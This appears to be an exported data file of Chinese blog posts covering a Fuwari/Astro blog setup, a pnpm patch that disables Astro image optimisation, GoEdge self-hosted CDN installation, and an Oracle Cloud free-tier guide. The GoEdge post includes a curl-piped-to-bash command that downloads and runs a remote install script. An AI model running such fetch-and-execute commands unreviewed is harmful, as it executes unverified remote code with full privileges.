\u0026#39;zh_CN\u0026#39;, \u0026#39;zh_TW\u0026#39;, \u0026#39;ja\u0026#39;, \u0026#39;ko\u0026#39; themeColor: { hue: 355, // Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345 fixed: false, // Hide the theme color picker for visitors }, banner: { enable: true, src: \u0026#39;https://eo-r2.2x.nz/myblog/img/222.webp\u0026#39;, // Relative to the /src directory. Relative to the /public directory if it starts with \u0026#39;/\u0026#39; position: \u0026#39;center\u0026#39;, // Equivalent to object-position, only supports \u0026#39;top\u0026#39;, \u0026#39;center\u0026#39;, \u0026#39;bottom\u0026#39;. \u0026#39;center\u0026#39; by default credit: { enable: false, // Display the credit text of the banner image text: \u0026#39;\u0026#39;, // Credit text to be displayed url: \u0026#39;\u0026#39; // (Optional) URL link to the original artwork or artist\u0026#39;s page } }, favicon: [ // Leave this array empty to use the default favicon { src: \u0026#39;https://q2.qlogo.cn/headimg_dl?dst_uin=2973517380\u0026amp;spec=5\u0026#39;, // Path of the favicon, relative to the /public directory //theme: \u0026#39;light\u0026#39;, // (Optional) Either \u0026#39;light\u0026#39; or \u0026#39;dark\u0026#39;, set only if you have different favicons for light and dark mode sizes: \u0026#39;128x128\u0026#39;, // (Optional) Size of the favicon, set only if you have favicons of different sizes } ] } export const navBarConfig: NavBarConfig = { links: [ LinkPreset.Home, LinkPreset.Archive, LinkPreset.About, { name: \u0026#39;随机图\u0026#39;, url: \u0026#39;https://pic.onani.cn\u0026#39;, // Internal links should not include the base path, as it is automatically added external: true, // Show an external link icon and will open in a new tab }, { name: \u0026#39;GitHub\u0026#39;, url: \u0026#39;https://github.com/saicaca/fuwari\u0026#39;, // Internal links should not include the base path, as it is automatically added external: true, // Show an external link icon and will open in a new tab }, ], } export const profileConfig: ProfileConfig = { avatar: \u0026#39;https://eo-r2.2x.nz/myblog/img/111.webp\u0026#39;, // Relative to the /src directory. Relative to the /public directory if it starts with \u0026#39;/\u0026#39; name: \u0026#39;二叉树树\u0026#39;, bio: \u0026#39;Protect What You Love./爱你所爱！\u0026#39;, links: [ // { // name: \u0026#39;Twitter\u0026#39;, // icon: \u0026#39;fa6-brands:twitter\u0026#39;, // Visit https://icones.js.org/ for icon codes // You will need to install the corresponding icon set if it\u0026#39;s not already included // `pnpm add @iconify-json/\u0026lt;icon-set-name\u0026gt;` // url: \u0026#39;https://twitter.com\u0026#39;, // }, // { // name: \u0026#39;Steam\u0026#39;, // icon: \u0026#39;fa6-brands:steam\u0026#39;, // url: \u0026#39;https://store.steampowered.com\u0026#39;, // }, { name: \u0026#39;GitHub\u0026#39;, icon: \u0026#39;fa6-brands:github\u0026#39;, url: \u0026#39;https://github.com/afoim\u0026#39;, }, { name: \u0026#39;QQ\u0026#39;, icon: \u0026#39;fa6-brands:qq\u0026#39;, url: \u0026#39;https://qm.qq.com/q/Uy9kmDXHYO\u0026#39;, }, { name: \u0026#39;Email\u0026#39;, icon: \u0026#39;fa6-solid:envelope\u0026#39;, url: \u0026#39;mailto:email@example.com\u0026#39;, }, ], } export const licenseConfig: LicenseConfig = { enable: true, name: \u0026#39;CC BY-NC-SA 4.0\u0026#39;, url: \u0026#39;https://creativecommons.org/licenses/by-nc-sa/4.0/\u0026#39;, } 清理多余文件。根目录下的 src/content/posts 文件夹里会带有一些示例文章，这些内容主要用于演示 Markdown 语法和 Fuwari 的基本用法。你可以先备份到别处，再按需删除。\n完成这些设置后，就可以开始撰写自己的文章了。\n让我们开始写作！ 推荐使用 黑曜石（Obsidian）\n首先，在项目根目录执行：pnpm new-post \u0026lt;这里填写你的文章标题\u0026gt;\n然后，在根目录下的 src/content/posts 文件夹中会多出一个 xxx.md文件\n用 MarkText 打开这个文件后，你会看到一组基础元数据，其中有几项最需要关注。\ntitle: xxx published: 2024-10-14 description: \u0026#39;\u0026#39; image: \u0026#39;\u0026#39; tags: [] categories: \u0026#39;\u0026#39; draft: false lang: \u0026#39;\u0026#39; title：文章标题\npublished：文章创建时间\ndescription：文章描述，正常会显示在文章标题下面\nimage：文章封面图（同目录需要写 ./ 如：./https://eo-r2.2x.nz/myblog/img/2024-10-14-11-33-28-image.webp）\ntag：文章标签\ncategories：文章分类\n还需要修改根目录下的 astro.config.mjs，把其中的 site: 改成你自己的站点 URL，例如：site: \u0026quot;https://onani.cn\u0026quot;,。\n如果你想在 Markdown 文章里方便地插入图片，也可以顺手把编辑器配置好。\n这并不复杂。借助 MarkText，可以像使用传统博客编辑器一样直接复制粘贴图片，不过需要先做一点简单配置：\n依次点击 MarkText 左上角菜单 -\u0026gt; File -\u0026gt; Preferences -\u0026gt; 左侧 Image 分类，然后按照下图进行设置。注意把第一个选项改成以 Copy 开头的模式，开启 Prefer 开关，并在上下两个文本框中分别填写绝对路径和相对路径。\n这样一来，插入图片时就会先把图片复制到 https://eo-r2.2x.nz/myblog/img 对应的位置，再自动以 ![1](https://eo-r2.2x.nz/myblog/img/1.webp) 这样的格式写入 Markdown 文件。你只需要复制粘贴，剩下的步骤 MarkText 会自动完成。\n配置完成后，你就可以比较高效地用 MarkText 编写 Markdown 博文了。 本地预览，然后发布到Github 当你觉得文章写得差不多时，可以在项目根目录执行：pnpm dev。稍等片刻后，就能在本地预览博客效果。\n接下来就可以使用 Git 把这些改动发布到 GitHub。\n首先，让 Git 知道你是谁：git config --global user.name \u0026quot;你的GitHub用户名\u0026quot; 和 git config --global user.email \u0026quot;你的GitHub邮箱@example.com\u0026quot;\n然后，将远程仓库地址改成 SSH 形式（如果你本来就是通过 SSH 克隆的，就不需要再修改）：git remote set-url origin git@github.com:xxx/xxx\n随后，提交所有变更：git add .\n接着，创建一次本地提交：git commit -m \u0026quot;项目初始化\u0026quot;\n最后，把本地更改推送到远程仓库：git push\n完成后，你的 GitHub 仓库里就应该能看到新的提交记录了。 让Cloudflare连接上Github，使用Pages服务展示你的博客（FREE！） 前往Cloudflare的 Workers 和 Pages 页面，创建一个新Pages\n然后选择连接Git存储库，连接你的Github，随后设置构建命令：pnpm build ，然后设置构建输出目录：dist ，如图\n绑定自定义域，访问自定义域即可访问你的博客！\n随后，你只需要在本地编写文章，然后使用Git将更改推送到远程仓库，Cloudflare就会自动部署，更新你的博客！\n","permalink":"https://blog.2x.nz/posts/fuwari/","summary":"\u003ch3 id=\"你需要准备的东西\"\u003e你需要准备的东西\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e一点基础的折腾能力。遇到问题先自己排查，实在解决不了再搜索或借助 AI，这样搭建过程会顺利很多。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://git-scm.com/downloads\"\u003eGit - Downloads (git-scm.com)\u003c/a\u003e：用于管理本地代码并与 GitHub 仓库同步。如果你更习惯图形界面，也可以尝试 \u003ca href=\"https://github.com/apps/desktop\"\u003eGitHub Desktop | Simple collaboration from your desktop\u003c/a\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://nodejs.org/en\"\u003eNode.js — Run JavaScript Everywhere (nodejs.org)\u003c/a\u003e：Fuwari 基于 Node.js，因此需要先安装它。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e一个 \u003ca href=\"https://github.com\"\u003eGitHub\u003c/a\u003e 账号：用于创建仓库并托管 Fuwari 项目文件。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e一个 \u003ca href=\"https://cloudflare.com\"\u003eCloudflare\u003c/a\u003e 账号：用于创建 Pages 项目并绑定域名。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"/posts/obsidian/\"\u003e黑曜石（Obsidian）\u003c/a\u003e：这是一个可视化 Markdown 编辑器。由于 Fuwari 的文章和页面都以 Markdown 文件保存，准备一个顺手的编辑器会方便很多。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e需要会一些基础的 Markdown 语法。如果暂时不熟悉，可以先看这个教程：\u003ca href=\"https://markdown.com.cn/basic-syntax/\"\u003eMarkdown 基本语法 | Markdown 官方教程\u003c/a\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"流程图\"\u003e流程图\u003c/h3\u003e\n\u003cp\u003e本地部署Fuwari，编写文章 -\u0026gt; 推送更改到远程Github仓库 -\u0026gt; Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -\u0026gt; 网站成功更改\u003c/p\u003e\n\u003ch3 id=\"让我们开始吧\"\u003e让我们开始吧\u003c/h3\u003e\n\u003ch4 id=\"首先在本地部署-fuwari\"\u003e首先，在本地部署 Fuwari\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFork仓库：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/saicaca/fuwari\"\u003ehttps://github.com/saicaca/fuwari\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果你不熟悉 Fork 仓库的流程，可以参考下面的图片教程。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fuwari/img/2024-10-14-12-15-44-image.webp\"\u003e\u003cimg loading=\"lazy\" src=\"/posts/fuwari/img/2024-10-14-12-17-03-image.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后将仓库克隆到本地：\u003ccode\u003egit clone \u0026lt;你的仓库URL\u0026gt;\u003c/code\u003e。如果可以使用 SSH，后续推送通常会更方便。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e先全局安装 \u003ccode\u003epnpm\u003c/code\u003e：\u003ccode\u003enpm install -g pnpm\u003c/code\u003e。如果 npm 在国内下载较慢，可以尝试切换镜像源，例如 \u003ca href=\"https://npmmirror.com/\"\u003enpmmirror 镜像站\u003c/a\u003e。\u003c/p\u003e","title":"Fuwari静态博客搭建教程"},{"content":" 视频： 禁用Astro跟弱智一般的静态构建图像优化_哔哩哔哩_bilibili\n为什么要禁用图片优化？ 下图是一个默认的Astro静态构建，也就是 astro build 的输出，输出中记录了每张图片是如何被Astro “优化” 的。我们不难发现问题所在：\n压缩效果微乎其微，甚至有反向压缩。大部分图片仅压缩了几kb，但是为此需要花费 100-1000ms 不等，甚至第12行出现了 before: 26kb, after: 28kb 这样的反向压缩\n为什么要浪费这么多的时间来进行±10kb左右的图片压缩呢？\n如何让Astro不”优化“图片？ 图像 | Docs\n查阅 Astro 文档可知\n会被优化的情况：\n非 /public 目录下的图片\n使用 \u0026lt;Image /\u0026gt; 等Astro图片组件\n任何MarkDown内的图片，除非你不走Astro内部的 MarkDown -\u0026gt; HTML 转换\n不难发现，我们似乎已经找到了一个折中的解决方案： 将图片放置到 /public 目录\n尝试将图片放置到 /public 目录（不完美） 这会遇到一个经典问题，这是我询问 OpenAI ChatGPT 的原话\n我遇到了一个两难的问题 我使用Astro 我的文章在./src/content/posts/xxx.md 我的图片之前在./src/contentimg/xxx.webp 由于我不想要Astro默认的图片优化，因为构建太慢了，于是我将图片放到了./img/xxx.webp 然后我将MarkDown引用的图片从 img/xxx.webp 改为了 ./img/xxx.webp 但是现在新的问题出现了，我的MarkText（一个MarkDown编辑器）去寻找了 ./src/content/posts/img/xxx.webp 导致我在编辑器中看不到任何图片 有没有什么好的解决方案？\n如果反其道而行之，使用类似 ../../img/xxx.webp 会导致部分组件无法获得真实图片，导致 astro build 直接报错退出，比如每篇文章开头的 YAML 元数据中的 image 字段\n结论： 该方案并不完美。要不无法即写即看，要不构建失败\n尝试使用Astro官方提供的配置禁用图片优化（失败） 遇到Astro上的问题，首先就应该查询官方文档了解是否已有解决方案。通过文档查询，我找到了 图像 | Docs 中的 配置 no-op 透传服务 ，尝试配置，但是无用，不管是本地运行构建或Cloudflare Worker云端构建，仍然会触发 generating optimized images 步骤\n如果您了解如何在Astro的配置层面直接禁用图片优化，请联系我！我很乐意与您交流！\n尝试直接更改Astro源码来禁用图片优化（成功） 研究到这，大半天已经过去了，我已经没有精力去研究怎么 合法 禁用Astro的图片优化了，不如单刀直入，直接改源码，使用 非法操作 吧\n大致步骤，直接改Astro包的源码，然后用 pnpm patch 为它打个补丁，下面是完整、可用的 astro.patch 。全局禁用图片优化\ndiff --git a/dist/assets/utils/transformToPath.js b/dist/assets/utils/transformToPath.js index cca8548dec42090b0621d1f21c86f503d5bba1be..8b0a3cfcea73abc4d63592709bb9ba2b2f83989a 100644 --- a/dist/assets/utils/transformToPath.js +++ b/dist/assets/utils/transformToPath.js @@ -13,7 +13,9 @@ function propsToFilename(filePath, transform, hash) { } const prefixDirname = isESMImportedImage(transform.src) ? dirname(filePath) : \u0026#34;\u0026#34;; let outputExt = transform.format ? `.${transform.format}` : ext; - return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`); + + // Force disable image optimization - return original path without hash and format conversion + return decodeURIComponent(`${prefixDirname}/${filename}${ext}`); } function hashTransform(transform, imageService, propertiesToHash) { const hashFields = propertiesToHash.reduce( diff --git a/dist/core/build/generate.js b/dist/core/build/generate.js index 3144f4c058b161b9e6eb3c8d891b743b34783653..0ba275b320204e154307c6aff75452e9dcb2300d 100644 --- a/dist/core/build/generate.js +++ b/dist/core/build/generate.js @@ -91,7 +91,8 @@ ${bgGreen(black(` ${verb} static routes `))}`); `) ); const staticImageList = getStaticImageList(); - if (staticImageList.size) { + // Force disable image optimization - hardcoded + if (false) { logger.info(\u0026#34;SKIP_FORMAT\u0026#34;, `${bgGreen(black(` generating optimized images `))}`); const totalCount = Array.from(staticImageList.values()).map((x) =\u0026gt; x.transforms.size).reduce((a, b) =\u0026gt; a + b, 0); const cpuCount = os.cpus().length; 下文为我让OpenAI ChatGPT 5解释的已经禁用图片优化的补丁（astro.patch）具体做了什么\n修改点 1：dist/assets/utils/transformToPath.js - return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`); + + // Force disable image optimization - return original path without hash and format conversion + return decodeURIComponent(`${prefixDirname}/${filename}${ext}`); 原逻辑 原本的返回路径是：\n{prefixDirname}/{filename}_{hash}.{format or ext} prefixDirname：如果图片是通过 ESM import 进来的，会带上所在目录，否则为空。\nfilename：文件名。\nhash：基于图片参数生成的 hash，用于区分不同尺寸/格式。\noutputExt：可能是 webp、avif 等格式。\n👉 这样 Astro 会给图片文件生成带 hash 的路径，并且可能修改格式。\n修改后逻辑 返回路径改成了： {prefixDirname}/{filename}{ext} 直接使用原始扩展名，不带 hash，也不做格式转换。 ✅ 作用：完全禁用图片优化的文件名规则，保留原始文件路径。\n修改点 2：dist/core/build/generate.js - if (staticImageList.size) { + // Force disable image optimization - hardcoded + if (false) { 原逻辑 staticImageList 存放了 Astro build 时需要优化的所有静态图片。\n如果有图片，Astro 会启动优化逻辑：\n打印日志 \u0026quot;generating optimized images\u0026quot;\n遍历 staticImageList，并调用 image service 去生成不同尺寸和格式。\n修改后逻辑 把 if (staticImageList.size) 改成了 if (false)。\n这意味着 Astro 永远不会进入优化图片的流程。\n✅ 作用：强制跳过所有图片优化步骤。\n总结 你的这个 patch 做了两件事：\n绕过文件名 hash 和格式转换 → 保证生成的图片路径就是原始路径。\n完全禁用构建时图片优化 → Astro build 时不再生成任何衍生格式或多尺寸图片。\n等价于 彻底关闭 Astro 的图片优化功能，构建出来的就是你原始的图片。\n最终效果 任何情况下使用 astro build 都会跳过图片优化，Cloudflare Worker的构建时间从 3分钟下降到2分钟\n构建后的页面不再为全局webp，透传原始文件名、扩展名。但仍然保留了 /_astro 路径，依旧支持相对路径粘贴图片\n","permalink":"https://blog.2x.nz/posts/disable-astro-generating-optimized-images/","summary":"\u003cblockquote\u003e\n\u003cp\u003e视频： \u003ca href=\"https://www.bilibili.com/video/BV12VH2z1EDb\"\u003e禁用Astro跟弱智一般的静态构建图像优化_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"为什么要禁用图片优化\"\u003e为什么要禁用图片优化？\u003c/h1\u003e\n\u003cp\u003e下图是一个默认的Astro静态构建，也就是 \u003ccode\u003eastro build\u003c/code\u003e 的输出，输出中记录了每张图片是如何被Astro “优化” 的。我们不难发现问题所在：\u003c/p\u003e\n\u003cp\u003e压缩效果微乎其微，甚至有反向压缩。大部分图片仅压缩了几kb，但是为此需要花费 \u003cstrong\u003e100-1000ms\u003c/strong\u003e 不等，甚至第12行出现了 \u003ccode\u003ebefore: 26kb, after: 28kb\u003c/code\u003e 这样的反向压缩\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e为什么要浪费这么多的时间来进行±10kb左右的图片压缩呢？\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/disable-astro-generating-optimized-images/img/2025-09-10-06-21-20-26ca667ff5c7024c12d7a8254f483b27.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"如何让astro不优化图片\"\u003e如何让Astro不”优化“图片？\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://docs.astro.build/zh-cn/guides/images/\"\u003e图像 | Docs\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e查阅 Astro 文档可知\u003c/p\u003e\n\u003cp\u003e会被优化的情况：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e非 \u003ccode\u003e/public\u003c/code\u003e 目录下的图片\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003e\u0026lt;Image /\u0026gt;\u003c/code\u003e 等Astro图片组件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e任何MarkDown内的图片，除非你不走Astro内部的 MarkDown -\u0026gt; HTML 转换\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e不难发现，我们似乎已经找到了一个折中的解决方案： \u003cstrong\u003e将图片放置到 /public 目录\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"尝试将图片放置到-public-目录不完美\"\u003e尝试将图片放置到 /public 目录（不完美）\u003c/h1\u003e\n\u003cp\u003e这会遇到一个经典问题，这是我询问 OpenAI ChatGPT 的原话\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e我遇到了一个两难的问题 我使用Astro 我的文章在./src/content/posts/xxx.md 我的图片之前在./src/contentimg/xxx.webp 由于我不想要Astro默认的图片优化，因为构建太慢了，于是我将图片放到了./img/xxx.webp 然后我将MarkDown引用的图片从 img/xxx.webp 改为了 ./img/xxx.webp 但是现在新的问题出现了，我的MarkText（一个MarkDown编辑器）去寻找了 ./src/content/posts/img/xxx.webp 导致我在编辑器中看不到任何图片 有没有什么好的解决方案？\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e如果反其道而行之，使用类似 \u003ccode\u003e../../img/xxx.webp\u003c/code\u003e 会导致部分组件无法获得真实图片，导致 \u003ccode\u003eastro build\u003c/code\u003e 直接报错退出，比如每篇文章开头的 YAML 元数据中的 \u003ccode\u003eimage\u003c/code\u003e 字段\u003c/p\u003e","title":"禁用Astro跟弱智一般的静态构建图像优化"},{"content":"安装GoEdge 使用脚本快速安装GoEdge管理系统 - 文档 - GoEdge CDN | 自建CDN\n一行脚本安装\ncurl -s https://goedge.cloud/install.sh | bash 卸载GoEdge 查看监听端口为 7788 的程序PID\nroot@AcoFork-NAS:~/oci# apt install lsof \u0026amp;\u0026amp; lsof -i :7788 Reading package lists... Done Building dependency tree... Done Reading state information... Done lsof is already the newest version (4.95.0-1). 0 upgraded, 0 newly installed, 0 to remove and 254 not upgraded. COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME edge-admi 1733510 root 7u IPv6 8663743 0t0 TCP *:7788 (LISTEN) edge-admi 1733510 root 9u IPv6 8746827 0t0 TCP 10.147.17.1:7788-\u0026gt;10.147.17.147:39580 (ESTABLISHED) edge-admi 1733510 root 10u IPv6 8828980 0t0 TCP 10.147.17.1:7788-\u0026gt;10.147.17.147:45730 (ESTABLISHED) root@AcoFork-NAS:~/oci# 用PID找程序路径\nroot@AcoFork-NAS:~/oci# readlink -f /proc/1733510/exe /usr/local/goedge/edge-admin/bin/edge-admin root@AcoFork-NAS:~/oci# 这样你就成功找到了 EdgeAdmin安装目录 ： /usr/local/goedge/edge-admin/\n接着前往 卸载管理平台 - 文档 - GoEdge CDN | 自建CDN 按照教程一步步卸载即可\nAPI节点的配置 安装阶段会让你配置API节点，会让你配置端口和公网\n你需要保证端口未占用，默认端口 8001 （已知飞牛OS会占用）。如果占用了就换一个\n你需要保证 公网 可以被你之后添加的节点 主动访问 到（我的做法是使用IPv6公网，并保证之后添加的节点都有IPv6地址）\n添加DNS服务商 首先前往\n添加你的DNS账号。hw 用来做CDN域名的自治解析，cf 用来后续签发SSL\n点进去，确保能获取到域名\n设置CDN域名 前往\n设置好DNS子域名\n添加节点 前往\n然后填写节点IP+SSH认证方式（密码/密钥），之后goedge会主动通过SSH连接节点安装服务\n配置节点的DNS IP 前往\n会让你填写每个节点的DNS IP，填写节点的 公网IP 即可\n签发SSL 前往\n随便写个邮箱\n写域名（支持泛域名）\n稍等片刻就签发成功\n禁止未绑定域名访问/禁止IP直接访问 字面意思，如图设置\n创建网站 前往\n接下来你们自己研究吧 我要睡了\n","permalink":"https://blog.2x.nz/posts/goedge/","summary":"\u003ch1 id=\"安装goedge\"\u003e安装GoEdge\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://goedge.cloud/docs/Admin/install-script.md\"\u003e使用脚本快速安装GoEdge管理系统 - 文档 - GoEdge CDN | 自建CDN\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e一行脚本安装\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl -s https://goedge.cloud/install.sh | bash\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"卸载goedge\"\u003e卸载GoEdge\u003c/h1\u003e\n\u003cp\u003e查看监听端口为 \u003cstrong\u003e7788\u003c/strong\u003e 的程序PID\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@AcoFork-NAS:~/oci# apt install lsof \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e lsof -i :7788\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eReading package lists... Done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBuilding dependency tree... Done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eReading state information... Done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elsof is already the newest version \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e4.95.0-1\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e upgraded, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e newly installed, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e to remove and \u003cspan style=\"color:#ae81ff\"\u003e254\u003c/span\u003e not upgraded.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCOMMAND       PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eedge-admi \u003cspan style=\"color:#ae81ff\"\u003e1733510\u003c/span\u003e root    7u  IPv6 \u003cspan style=\"color:#ae81ff\"\u003e8663743\u003c/span\u003e      0t0  TCP *:7788 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eLISTEN\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eedge-admi \u003cspan style=\"color:#ae81ff\"\u003e1733510\u003c/span\u003e root    9u  IPv6 \u003cspan style=\"color:#ae81ff\"\u003e8746827\u003c/span\u003e      0t0  TCP 10.147.17.1:7788-\u0026gt;10.147.17.147:39580 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eESTABLISHED\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eedge-admi \u003cspan style=\"color:#ae81ff\"\u003e1733510\u003c/span\u003e root   10u  IPv6 \u003cspan style=\"color:#ae81ff\"\u003e8828980\u003c/span\u003e      0t0  TCP 10.147.17.1:7788-\u0026gt;10.147.17.147:45730 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eESTABLISHED\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@AcoFork-NAS:~/oci#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e用PID找程序路径\u003c/p\u003e","title":"GoEdge自建CDN系统踩坑记录"},{"content":"正式开始 源码： afoim/one-times-reality: 一行命令帮你装好reality\n自己看README部署\n","permalink":"https://blog.2x.nz/posts/reality/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e源码： \u003ca href=\"https://github.com/afoim/one-times-reality\"\u003eafoim/one-times-reality: 一行命令帮你装好reality\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e自己看README部署\u003c/p\u003e","title":"Reality协议的代理服务端搭建教程"},{"content":"老天保佑我不要ABC 首先是IP，不要开任何魔法！ 直连即可，你在哪就用哪里的网络\n其次是地址填写，建议两个地址都写，一行写中文，一行写英文（翻译即可）\n然后是付款，最简单就是拿你自己的卡进行注册\n直接去你家旁边的银行开一个 外币卡 ，如 Visa 万事达 即可\n然后换汇为 新加坡元 ，甲骨文虽然仅扣款 1.38 新加坡元 ，但建议存10个以上，因为有些行对于低余额可能会拒付，并且甲骨文后续也会尝试小额扣款验证卡的真实性\n[!caution] 不要用虚拟卡，预付卡，甲骨文不支持，强行尝试还会黑你自己的IP！！！\n区域选择 注册的时候会让你选择一个账户主区域，选择后 不可更改 ，我选择的是 Japan East (Tokyo) 。由于甲骨文的arm免费机是需要抢的，你选择的区域越热门，能抢到arm机子的概率就越低\n安全性 https://cloud.oracle.com/identity/domains/my-profile/security\n建议启用 两步验证\n使用你的移动设备下载一个甲骨文App 然后扫码即可（实际上就是一个联网的TOTP）\n又或者你可以勾选 离线验证 就可以使用一个离线的TOTP，通过 Bitwarden 等验证器来导入了，无需下载甲骨文的专有软件\n如果需要更改密码，它在这里\n没有Debian系统？ 如果你前往 https://cloud.oracle.com/compute/instances/create 尝试创建实例。会发现没有 Debian 映像 。我们可以通过最下面 我的映像 来上传自己的自定义映像，详细步骤往下看\n写在前面，如果你需要往甲骨文上传自定义映像，你需要先将自定义映像上传到你 甲骨文账户下的对象存储 ，随便找一个对象存储上传是不行的！！！\n首先下载适用于云的Debian映像，进入 下载 Debian ，找到 使用 Debian 云镜像 分别下载\n64 位 AMD/Intel (qcow2, raw) 64 位 ARM (qcow2, raw) 你会得到\n前往 https://cloud.oracle.com/object-storage/buckets 创建一个新存储桶，点击编辑可见性，改为 公共\n然后上载刚刚下载的映像\n前往 https://cloud.oracle.com/compute/images 点击 导入映像 按需填写\n映像类型和启动模式如图填写（性能最大化）\n验收无误后，点击右下角的 导入映像 ，大约需要 20min ，状态将变为 可用\n点击其中一个映像，进入详情页面，针对于 arm映像 我们需要手动调节 兼容的配置。右上角点击 操作 - 编辑详细信息\n全部打勾，保存更改\n仍然需要注意，创建实例的时候请看准是x86还是arm实例，x86实例无法使用arm映像，反之亦然\n然后点击右上角创建实例，即可使用自定义映像创建实例\n创建VCN（网络） 前往 https://cloud.oracle.com/networking/vcns 点击 创建VCN 改个名称然后一路下一步即可\n成功创建一个如图的网络\n为VCN附加IPv6前缀 前往 https://cloud.oracle.com/networking/vcns\n进入我们刚刚创建的VCN 导航栏选择 子网 - 公共子网\n在新页面的导航栏点击 IP管理\n往下滚动，添加 IPv6前缀\n创建实例 前往 https://cloud.oracle.com/compute/instances 点击 创建实例\n在这里可以更改映像为自定义映像，即我们刚刚上传的Debian映像\n在这里可以更改 架构和配置 。永久免费套餐为\nVM.Standard.E2.1.Micro：两个 1c1g的x86 实例，不可合并为2c2g使用\nVM.Standard.A1.Flex：共 4c24g的arm64 实例，可以随意拆分\n重要事项\n闲置计算实例的回收\nOracle 可能会回收闲置的“永久免费”计算实例。如果在 7 天周期内 